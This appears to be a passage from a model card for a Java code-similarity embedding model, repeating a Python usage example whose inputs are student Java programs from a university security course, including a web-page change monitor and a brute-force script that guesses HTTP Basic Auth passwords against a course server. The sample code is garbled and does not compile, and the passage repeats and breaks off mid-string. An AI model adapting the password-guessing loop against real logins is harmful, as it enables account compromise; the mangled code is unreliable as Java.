\n\n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n        url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass-VAST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t    WatchDog watcher = new WatchDog();\n\t    watcher.run();\n\t}\n\n\t\n    public void run()\n    {\n   \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n          twentyFourHours = 24 * 60 * 60 * 1000;\n        \n\n   \t\twriteProgramLog("Program started at " + longTimestamp.format(new Date()));\n        while(true)\n        {\n    \t\twriteProgramLog("Running run at " + longTimestamp.format(new Date()));\n            compare();\n            try\n            {\n                sleep(twentyFourHours);\n            }\n            catch(InterruptedException e)\n            {\n                writeProgramLog("Program terminated at " + longTimestamp.format(new Date()));\n                System.exit(0);\n            }\n        }\n    } \n\n\t\n    private void compare()\n    {\n        \n        \n        \n        String watchDogFile = "watchDogHash_rcroft.";\n        String watchDogPageFile = "watchDogPage_rcroft.html";\n    \n        File watchDogLogFile = new File(watchDogFile);\n        \n        if(!watchDogLogFile.exists())\n        {\n            \n            \n            \n            \n            \n            WebPage targetPage = getPage();\n            if(targetPage.getSuccess())\n            {\n                byte[] newHash = calcHash(targetPage.getPageContents());\n                writeHash(newHash, watchDogFile);\n                writePage(targetPage.getPageContents(), watchDogPageFile);\n            }\n        }\n        else\n        {\n            try\n            {\n                \n                \n                \n                \n                \n                \n                WebPage targetPage = getPage();\n                if(targetPage.getSuccess())\n                {\n                    \n                    byte[] oldHash = new byte[16]; \n                    byte[] newHash = calcHash(targetPage.getPageContents());\n\n                    \n                    DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));\n                    inWatchDogFile.readFully(oldHash);\n                    inWatchDogFile.print();\n                    \n                    \n                    \n                    \n                    if(!java.util.Arrays.equals(oldHash, newHash))\n                    {\n                        String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());\n                        mail(differences);\n                        writeHash(newHash, watchDogFile);\n                        writePage(targetPage.getPageContents(), watchDogPageFile);\n                    }\n                }\n            }\n            catch(IOException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }\n        }\n    } \n    \n\n\t\n\tprivate String enumerateDifferences(String oldPageFileName, String newPageData)\n\t{\n\t    String differences = "";\n\t    File newFile = null;\n\n\t    try\n\t    {\n\t      \n\t      \n\t      newFile = File.createTempFile("new", "tmp");\n          String tempFilePath = newFile.getAbsolutePath();\n          DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));\n          outFile.writeBytes(newPageData);\n          outFile.print();\n          \n          \n          String commandLine = "diff " + oldPageFileName + " " + tempFilePath;\n          Process p = Runtime.getRuntime().exec(commandLine);\n          BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));\n          String line;\n          while((line = diffs.readLine()) != null)\n            differences += line + "\\n";\n          diffs.print();\n          newFile.delete();\n\t    }\n\t    catch(IOException e)\n\t    {\n\t        writeProgramLog("Exception: " + e);\n\t    }\n\t    return differences;\n\t}  \n\n\t\n    private void mail(String mailMessage)\n    {\n        \n        Vector emailAddresses = new Vector();\n        String watchDogEmailFile = "watchDogEmail_rcroft.txt";\n\n        \n        File emailFile = new File(watchDogEmailFile);\n        if(emailFile.exists())\n        {\n            try\n            {\n                \n                BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));\n                String line;\n                while ((line = inWatchDogEmailFile.readLine()) != null)\n                {\n                    line = line.trim();\n                    if((line != "") && (line != "\\n"))\n                        emailAddresses.add(line);\n                }\n                inWatchDogEmailFile.print();\n    \t    }\n    \t    catch(FileNotFoundException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n    \t    catch(IOException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n        }\n        else\n        {\n            emailAddresses.add("@yallara.cs.rmit.edu.");\n            emailAddresses.add("[email protected].");\n        }\n                \n        if(emailAddresses.size() > 0) \n        {\n            try\n            {\n                String fromAddress = "From: " + "WatchDog Program ()" + " <" + System.getProperty("user.name") + "@" + InetAddress.getLocalHost().getHostName() + ">";\n        \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n                String subject = "Subject: [SEC project] Notification of target file changes (" + longTimestamp.format(new Date()) +")";\n                for(int i = 0; i < emailAddresses.size(); i++)\n                {\n                    String toAddress = (String) emailAddresses.get(i);\n                    try\n                    {\n                        URL mailURL = new URL("mailto: " + toAddress);\n                        URLConnection mailConnection = mailURL.openConnection();\n                        mailConnection.setDoInput(false);\n                        mailConnection.setDoOutput(true);\n                        mailConnection.connect();\n                        PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n                        mailWriter.print(": " + toAddress + "\\n");\n                        mailWriter.print(fromAddress + "\\n");\n                        mailWriter.print(subject + "\\n");\n                        mailWriter.print(mailMessage);\n                        mailWriter.print();\n                        writeProgramLog("\\tNotification mailed in this run.");\n                    }\n                    catch(MalformedURLException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                    catch(IOException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                }\n            }\n            catch(UnknownHostException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }  \n        }  \n    } \n    \n\n\t\n    private void writeHash(byte [] newHash, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.write(newHash, 0, newHash.length);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\t\n    private void writePage(String newPage, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.writeBytes(newPage);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\n\t\n    private void writeProgramLog(String comment)\n    {\n        String fileName = "watchDogLog_rcroft.txt";\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));\n            outFile.writeBytes(comment + "\\n");\n            outFile.flush();\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            \n            \n            System.out.println("Exception: " + e);\n        }\n    }  \n\n\t\n    private WebPage getPage()\n    {\n        WebPage tempWebPage = new WebPage();\n        try\n        {\n            \n            \n            \n            String urlName = "http://www.cs.rmit.edu./students/";\n   \t    \tURL targetURL= new URL(urlName);\n           \tHttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();\n        \n            \n            connection.connect();\n            connection.getResponseCode();\n            if(connection.getResponseCode() == 200)\n\t\t    {\n\t\t        String fileContents = "";\n\t\t        BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n                String line;\n    \t\t    while((line = in.readLine()) != null)\n\t\t    \t    fileContents = fileContents + line + "\\n";\n\t\t        in.print();\n\t\t        tempWebPage.setPageContents(fileContents);\n    \t\t    tempWebPage.setSuccess(true);\n    \t\t    connection.disconnect();\n\t        }\n\t        else\n\t\t    {\n    \t\t    writeProgramLog("Failed  connect " + connection.getResponseCode());\n\t\t    } \n        }\n        catch(IOException e)\n        {\n    \t    writeProgramLog("Exception " + e);\n        } \n        return tempWebPage;\n    } \n    \n\t\n    private  byte[] calcHash(String pageContents)\n    {\n        byte[] outHash = null;\n        try\n        {\n            MessageDigest msg = MessageDigest.getInstance("");\n            msg.reset();\n            msg.update(pageContents.getBytes());\n            outHash = msg.digest();\n            msg.reset();\n        }\n        catch(NoSuchAlgorithmException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n        return outHash;\n    } \n        \n} \n',
    '\n\n\n\n \nimport java.io.*;\nimport java.net.*;\nimport java.Runtime;\nimport java.util.*;\nimport java.net.smtp.SmtpClient; \n\n\n\npublic class WatchDog\n\n{\n\n   static String strImageOutputFile01      = "WebPageImages01.txt";\n   static String strImageOutputFile02      = "WebPageImages02.txt";\n\n   static String strWebPageOutputFile01    = "WebPageOutput01.txt";\n   static String strWebPageOutputFile02    = "WebPageOutput02.txt";\n\n   static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";\n\n   static String strFromEmailDefault = "@.rmit.edu.";\n   static String strToEmailDefault   = "@.rmit.edu.";\n\n   static String strFromEmail = null;\n   static String strToEmail   = null;\n\n\n\n\n   public static void main (String args[])\n   \n   {\n\n         \n         \n         \n         \n         \n\n      URL url = null;\n      HttpURLConnection urlConnection;\n      int intContentLength;\n      String strWebPageText = "";\n\n      String strURL     = "http://www.cs.rmit.edu./students/";\n      String strPrePend = "http://www.cs.rmit.edu.";\n\n      boolean boolURLisOK = true;\n\n\n\n\n\n      System.out.println();\n\n\n         \n         \n      tidyUpWatchDogFiles();\n\n\n         \n         \n         \n         \n      promptForEmailAddresses();\n\n\n\n\n      try\n      {\n            \n            \n         url = new URL(strURL);       \n      }\n\n      catch(MalformedURLException e)\n      {\n         System.out.println("ERROR:  invalid URL " + strURL);   \n         System.err.println(e);  \n \n         boolURLisOK = false;\n         url = null;\n      }    \n\n      catch(Exception e)\n      {\n         System.out.println("Exception");   \n         System.err.println(e);  \n      }\n\n\n      System.err.println();  \n\n\n      if (boolURLisOK)\n      {\n         try\n         { \n\n               \n               \n            urlConnection = (HttpURLConnection)url.openConnection();\n\n\n               \n               \n            InputStream urlStream = urlConnection.getInputStream();\n\n\n               \n               \n            int intNumRead = urlStream.print();\n            String strNewContent; \n\n            while (intNumRead != -1)\n            {\n               intNumRead = urlStream.print();\n               if (intNumRead != -1)\n               {\n                  strNewContent = (char)intNumRead + ""; \n                  strWebPageText += strNewContent;\n               }\n            }\n\n            urlStream.print(); \n\n\n\n               \n               \n            if (strWebPageText != null)\n            {\n\n               if (fileExists(strWebPageOutputFile01))\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile02);               \n               }\n\n               else\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile01);               \n               }\n\n\n               if (fileExists(strWebPageOutputFile02))\n               { \n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile02    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A text comparison  NOW  performed " +\n                                      "with the output");\n                  System.out.println("file \'" + strWebPageOutputFile01 + "\'.");\n                  System.out.println();\n\n\n\n                     \n                     \n\n                     \n                     \n                  createDiffFileIfNeeded(strWebPageOutputFile01, \n                                         strWebPageOutputFile02);                  \n\n\n                     \n                     \n                  if (fileExists(strWatchDogDiffFile_01_02))\n                  { \n\n                     System.out.println("Mail  (ordinary text comparison)");\n                     System.out.println("--------------------------------");\n\n                     if (getFileSize(strWatchDogDiffFile_01_02) > 0)\n                     {\n                        sendMailWithDetectedChanges();\n                        System.out.println("Text diff mail has been sent  the \'\' email address.");\n                     }\n                     else\n                     {\n                        System.out.println("The DIFF file has zero length - text diff mail has NOT been sent.");\n                     }\n\n                  }\n\n\n\n                     \n                     \n                  createImageTextFile(strWebPageOutputFile01, strPrePend);\n                  createImageTextFile(strWebPageOutputFile02, strPrePend);\n\n                  System.out.println();\n                  System.out.println("Image text file/s");\n                  System.out.println("-----------------");\n\n\n                  if (fileExists(strImageOutputFile01))\n                  {\n                     System.out.println("\'" + strImageOutputFile01 + "\' has been created.");\n                     System.out.println("Images from \'" + strImageOutputFile01 + "\'  now  downloaded using");  \n                     System.out.println("the Unix \'wget\' command:");  \n\n                     downloadImages(strImageOutputFile01);\n                  }\n\n                  if (fileExists(strImageOutputFile02))\n                  {\n                     System.out.println();\n                     System.out.println("\'" + strImageOutputFile02 + "\' has been created.");\n                  }\n\n                  System.out.println();\n\n               }\n\n               else if (fileExists(strWebPageOutputFile01))\n               {\n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile01    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A comparison CANNOT  performed " +\n                                      "with this output file");\n                  System.out.println("because it is the only output file " +\n                                     "in existence.");\n                  System.out.println();\n               }\n\n            }\n\n         }\n\n         catch(Exception e)\n         {\n\n            boolURLisOK = false;\n\n            System.err.println(e);\n         }   \n\n         finally\n         { \n            urlConnection = null;\n            url = null; \n         }\n\n      }\n\n\n      System.out.println();\n\n   }\n\n\n\n\n\n\n\n   static void tidyUpWatchDogFiles()\n   \n   {\n\n         \n         \n\n\n         \n         \n      deleteFile(strWatchDogDiffFile_01_02);\n\n\n         \n         \n      deleteFile(strImageOutputFile01);\n      deleteFile(strImageOutputFile02);\n\n\n      if (fileExists(strWebPageOutputFile01))\n      {\n\n         if (fileExists(strWebPageOutputFile02))\n         {\n               \n               \n               \n               \n               \n            deleteFile(strWebPageOutputFile01);\n            renameFile(strWebPageOutputFile02, strWebPageOutputFile01);\n         }\n\n      }\n\n      else\n      {\n            \n            \n            \n         deleteFile(strWebPageOutputFile02);\n      }\n\n   }\n\n\n\n\n\n\n\n   static void promptForEmailAddresses()\n   \n   {      \n\n\n      BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));\n\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'From\' email address");\n      System.out.println("--------------------");\n      System.out.println("Please enter a \'From\' email address,  press Enter for default");\n      System.out.print("(default: " + strFromEmailDefault + "):  ");\n\n      try\n      {\n         strFromEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strFromEmail == null) || (strFromEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'From\' email address  default :  " + strFromEmailDefault);         \n         strFromEmail = strFromEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'From\' email address is:  " + strFromEmail);         \n      }\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'\' email address");\n      System.out.println("------------------");\n      System.out.println("Please enter a \'\' email address,  press Enter for default");\n      System.out.print("(default: " + strToEmailDefault + "):  ");\n\n      try\n      {\n         strToEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strToEmail == null) || (strToEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'\' email address  default :  " + strToEmailDefault);         \n         strToEmail = strToEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'\' email address is:  " + strToEmail);         \n      }\n\n   }\n\n\n\n\n\n\n\n   static void writeTextToFile(String strText,\n                               String strWriteToThisFileName)\n   \n   {\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         toFile.write(strText);\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static void createDiffFileIfNeeded(String strFileName1, \n                                      String strFileName2)\n   \n   {\n\n\n\n\n\n\n\n\n\n\n\n\n\n         \n         \n\n         \n         \n      try\n      {\n\n         Process p = Runtime.getRuntime().exec("./diff_files.sh");\n         p.waitFor();\t\n\n      }\n\n      catch (Exception e)\n      {\n         System.out.println("Shell script exception");\n         System.out.println("----------------------");\n         System.err.println(e);\n         System.out.println("");\n      }\n\n   }\n\n\n\n\n\n\n\n   static void createImageTextFile(String inputFile, String prePend)\n   \n   {\n\n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n\n      String str;\n      String strImage = "";\n      String strImageArray[];\n      String strInputFromFile = "";\n      String strSearchString = "<img src";\n\n      boolean boolContinue = true;\n\n      int intImageCounter  = 0;\n      int intStartSearch   = 0;\n\n      char ch;\n\n\n\n\n\n      strImageArray = new String[1000];\n\n\n\n         \n         \n      try\n      {\n\n         BufferedReader file =\n              new BufferedReader(new FileReader(inputFile));\n\n\n         while ( (str = file.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         file.print();\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         boolContinue = false;\n         System.err.println(e);       \n      }\t\n\n\n\n      if (boolContinue)\n      {\n\n         strInputFromFile = (strInputFromFile.toLowerCase()).trim();\n\n         intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n\n         while (intStartSearch != -1)\n         {\n\n            intStartSearch += 8;\n\n            while ( (strInputFromFile.charAt(intStartSearch) == \' \')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'=\')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'\\"\')   )\n            {\n               intStartSearch++;          \n            }\n\n            while ((strInputFromFile.charAt(intStartSearch) != \'\\"\'))              \n            {\n\n               ch = strInputFromFile.charAt(intStartSearch);\n\n               strImage += String.valueOf(ch);\n               intStartSearch++;\n\n            }\n\n\n            if (strImage.startsWith("/"))\n               strImage = prePend + strImage;          \n\n\n            intImageCounter++;\n            strImageArray[intImageCounter - 1] = strImage;\n\n            strImage = "";\n\n            intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n         }\n\n\n         if (inputFile.equals(strWebPageOutputFile01))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile01,\n                                 intImageCounter);\n         }\n         else if (inputFile.equals(strWebPageOutputFile02))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile02,\n                                 intImageCounter);\n         }\n\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void downloadImages(String ImageOutputFile)\n   \n   {\n\n      Process p;\n\n      String str;\n      String strFileName;\n\n\n\n      try      \n      {\n\n         BufferedReader file =\n                 new BufferedReader(new FileReader(ImageOutputFile));\n\n\n\n         while ( (str = file.readLine()) != null)\n         {\n\n            strFileName = getImageFileName(str);\n\n            System.out.println("    " + str);\n            System.out.println("             file name:  " + strFileName);                                                           \n\n\n            if (fileExists(strFileName))\n               deleteFile(strFileName);\n\n\n            p = Runtime.getRuntime().exec("wget " + str);\n            p.waitFor();\t\n\n         }\n\n\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         System.err.println("downloadingImages:  " + e);\n      }\n\n   }\n\n\n\n\n\n\n\n   static String getImageFileName(String imageFileName)\n   \n   {\n\n         \n         \n         \n\n      String strFileName;\n\n      int intFileNameLength     = imageFileName.length();      \n      int intStartPosOfFileName = intFileNameLength - 1;\n\n\n\n\n         \n         \n      while ( (intStartPosOfFileName >= 0) && \n              (imageFileName.charAt(intStartPosOfFileName) != \'/\') )\n      {\n         intStartPosOfFileName--; \n      }\n\n\n      strFileName = imageFileName.substring(intStartPosOfFileName + 1, \n                                            intFileNameLength);\n\n\n      return strFileName;\n\n   }\n\n\n\n\n\n\n\n   static void writeTextArrayToFile(String strTextArray[],\n                                    String strWriteToThisFileName,\n                                    int numberOfImages )\n   \n   {\n\n      boolean boolFirstLineWritten = false;\n\n\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         for ( int i = 0 ; i < numberOfImages ; i++ )\n         {\n\n            if (boolFirstLineWritten) \n               toFile.newLine();\n            else\n               boolFirstLineWritten = true;\n  \n\n            toFile.write(strTextArray[i]);\n\n         }\n\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static boolean fileExists(String strFileName)\n   \n   {\n\n      boolean boolReturnValue;\n      File aFile = new File(strFileName);\n\n\n      if (aFile.exists())\n         boolReturnValue = true;\n      else\n         boolReturnValue = false;\n      \n\n      aFile = null;\n\n\n      return boolReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void deleteFile(String strFileName)\n   \n   {\n\n\n      if (fileExists(strFileName))\n      { \n         File aFile = new File(strFileName);\n\n         try\n         {\n            aFile.delete();\n         }\n\n         catch (Exception e)\n         {\n            System.err.println(e);\n         }\n\n\n         aFile = null;\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void renameFile(String strFromFileName, String strToFileName)\n   \n   {\n\n\n      File from = new File(strFromFileName);\n      File to   = new File(strToFileName);\n\n\n      boolean success = from.renameTo();\n\n\n      from = null;\n      to = null;\n\n   }\n\n\n\n\n\n\n\n   static  getFileSize(String strFileName)\n   \n   {\n\n       lngReturnValue;\n\n\n\n      File file = new File(strFileName);\n      \n      lngReturnValue = file.length();\n\n      file = null;\n\n\n      return lngReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void sendMailWithDetectedChanges()\n   \n   {\n\n      String str;\n      String strInputFromFile = null;\n\n\n\n      try \n      { \n\n\n         BufferedReader fromFile =\n              new BufferedReader(new FileReader(strWatchDogDiffFile_01_02));\n\n\n         while ( (str = fromFile.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         fromFile.print();\n         fromFile = null;\n\n\n            \n            \n            \n         SmtpClient smtp = new SmtpClient(); \n\n            \n            \n         smtp.from(strFromEmail); \n\n            \n            \n         smtp.to(strToEmail); \n\n            \n            \n         PrintStream msg = smtp.startMessage(); \n\n            \n            \n         msg.println(": " + strToEmail); \n\n            \n            \n         msg.println("From: " + strFromEmail); \n         msg.println("Subject: Change in website content\\n"); \n         msg.println(strInputFromFile); \n\n            \n            \n            \n         smtp.closeServer(); \n\n      } \n\n      catch (IOException e) \n      {\n         System.err.println(e);     \n      } \n\n   }\n\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass BruteForce {\n\n    String password="";\n\n    int num =401;\n\n\n    public static void main (String[] args) {\n\n      String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\n      BruteForce URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      \n      if (args.length == 0) {\n      \t\n      \tSystem.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      \treturn;\n      \t\n      \t}\n      String username = args[0];\n      \n\n      t0=System.currentTimeMillis();\n\n      System.out.println ("  " + new Date());\n      \n      System.out.println ("Using BruteForce method  attack "+username+"\'s password.Please waiting.......");\n\n       for (int i=0;i<str.length();i++){\n\n             passwd=str.substring(i,i+1);\n\n             URLcon = new BruteForce (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n\n\n             \tSystem.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n\n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n             for (int j=0;j<str.length();j++){\n\n                passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\n                URLcon = new BruteForce (passwd,username);\n\n                if ((URLcon.num)!=401) {\n\n             \t     t1=System.currentTimeMillis();\n\n                     System.out.println("The password: "+ passwd);\n\n\n                     double dt =t1-t0;\n\n\n\n                     System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                     System.out.println ("Finish  " + new Date());\n             \t return;\n\n                 }\n                for (int m=0;m<str.length();m++){\n\n                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\n                  URLcon = new BruteForce (passwd,username);\n\n                  if ((URLcon.num)!=401) {\n\n                 \tt1=System.currentTimeMillis();\n\n                    System.out.println("The password: "+ passwd);\n\n\n             \t    double dt =t1-t0;\n\n\n\n                 \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                    \n                    System.out.println ("Finish  " + new Date());\n                    \n             \t    return;\n\n                  }\n\n\n             }\n\n}\n}\n        System.out.println(" not find the password");\n\n}\n\n   public  BruteForce  (String password, String username){\n\n  \t  String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n\n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n        url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass-VAST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t    WatchDog watcher = new WatchDog();\n\t    watcher.run();\n\t}\n\n\t\n    public void run()\n    {\n   \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n          twentyFourHours = 24 * 60 * 60 * 1000;\n        \n\n   \t\twriteProgramLog("Program started at " + longTimestamp.format(new Date()));\n        while(true)\n        {\n    \t\twriteProgramLog("Running run at " + longTimestamp.format(new Date()));\n            compare();\n            try\n            {\n                sleep(twentyFourHours);\n            }\n            catch(InterruptedException e)\n            {\n                writeProgramLog("Program terminated at " + longTimestamp.format(new Date()));\n                System.exit(0);\n            }\n        }\n    } \n\n\t\n    private void compare()\n    {\n        \n        \n        \n        String watchDogFile = "watchDogHash_rcroft.";\n        String watchDogPageFile = "watchDogPage_rcroft.html";\n    \n        File watchDogLogFile = new File(watchDogFile);\n        \n        if(!watchDogLogFile.exists())\n        {\n            \n            \n            \n            \n            \n            WebPage targetPage = getPage();\n            if(targetPage.getSuccess())\n            {\n                byte[] newHash = calcHash(targetPage.getPageContents());\n                writeHash(newHash, watchDogFile);\n                writePage(targetPage.getPageContents(), watchDogPageFile);\n            }\n        }\n        else\n        {\n            try\n            {\n                \n                \n                \n                \n                \n                \n                WebPage targetPage = getPage();\n                if(targetPage.getSuccess())\n                {\n                    \n                    byte[] oldHash = new byte[16]; \n                    byte[] newHash = calcHash(targetPage.getPageContents());\n\n                    \n                    DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));\n                    inWatchDogFile.readFully(oldHash);\n                    inWatchDogFile.print();\n                    \n                    \n                    \n                    \n                    if(!java.util.Arrays.equals(oldHash, newHash))\n                    {\n                        String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());\n                        mail(differences);\n                        writeHash(newHash, watchDogFile);\n                        writePage(targetPage.getPageContents(), watchDogPageFile);\n                    }\n                }\n            }\n            catch(IOException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }\n        }\n    } \n    \n\n\t\n\tprivate String enumerateDifferences(String oldPageFileName, String newPageData)\n\t{\n\t    String differences = "";\n\t    File newFile = null;\n\n\t    try\n\t    {\n\t      \n\t      \n\t      newFile = File.createTempFile("new", "tmp");\n          String tempFilePath = newFile.getAbsolutePath();\n          DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));\n          outFile.writeBytes(newPageData);\n          outFile.print();\n          \n          \n          String commandLine = "diff " + oldPageFileName + " " + tempFilePath;\n          Process p = Runtime.getRuntime().exec(commandLine);\n          BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));\n          String line;\n          while((line = diffs.readLine()) != null)\n            differences += line + "\\n";\n          diffs.print();\n          newFile.delete();\n\t    }\n\t    catch(IOException e)\n\t    {\n\t        writeProgramLog("Exception: " + e);\n\t    }\n\t    return differences;\n\t}  \n\n\t\n    private void mail(String mailMessage)\n    {\n        \n        Vector emailAddresses = new Vector();\n        String watchDogEmailFile = "watchDogEmail_rcroft.txt";\n\n        \n        File emailFile = new File(watchDogEmailFile);\n        if(emailFile.exists())\n        {\n            try\n            {\n                \n                BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));\n                String line;\n                while ((line = inWatchDogEmailFile.readLine()) != null)\n                {\n                    line = line.trim();\n                    if((line != "") && (line != "\\n"))\n                        